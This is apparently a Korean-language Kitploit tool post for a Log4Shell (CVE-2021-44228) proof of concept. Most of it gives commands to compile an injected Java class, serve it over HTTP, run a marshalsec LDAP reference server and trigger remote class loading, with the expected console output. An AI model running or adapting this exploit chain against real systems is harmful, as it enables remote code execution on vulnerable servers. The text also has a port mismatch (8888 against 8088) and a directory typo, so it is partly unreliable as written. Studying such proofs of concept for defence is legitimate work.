CVE-2021-44228-Apache-Log4j — CVE-2021-44228-Apache-Log4j | Kitploit

CVE-2021-44228(Apache Log4j 원격 코드 실행)

영향받는 버전: 2.0-beta9부터 2.12.1까지, 2.13.0부터 2.15.0까지의 모든 버전

Log4Shell(CVE-2021-44228) 관련 보안 권고/공지

사용법:

이 프로젝트를 다운로드하고 InjectClazz.java를 컴파일합니다.

# download
git clone http://github.com/lonecloud/CVE-2021-44228-Apache-Log4j
cd CVE-2021-44228-Apache-Log4j
javac InjectClazz.java

InjectClazz가 있는 디렉터리에서 웹 서버를 시작합니다.

# start webserver
# For Python2
python -m SimpleHTTPServer 8888
# For Python3
python3 -m http.server 8888
#

LDAP 서버를 다운로드합니다.

git clone https://github.com/mbechler/marshalsec.git
cd marshalsec
mvn clean package -DskipTests
java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://127.0.0.1:8088/#InjectClazz" 1389

프로젝트를 실행합니다.

cd CCVE-2021-44228-Apache-Log4j
mvn clean package
java -cp target/CVE-2021-44228-Apache-Log4j-1.0-SNAPSHOT-all.jar Log4jAceMain


# expect the following
# 1. calculator app appear
# 2. in ldapserver console,
Send LDAP reference result for Exploit redirecting to http://127.0.0.1:8088/InjectClazz.class
# 3. in webserver console,
#  127.0.0.1 - - [....] "GET /InjectClazz.class HTTP/1.1" 200 -

도구 다운로드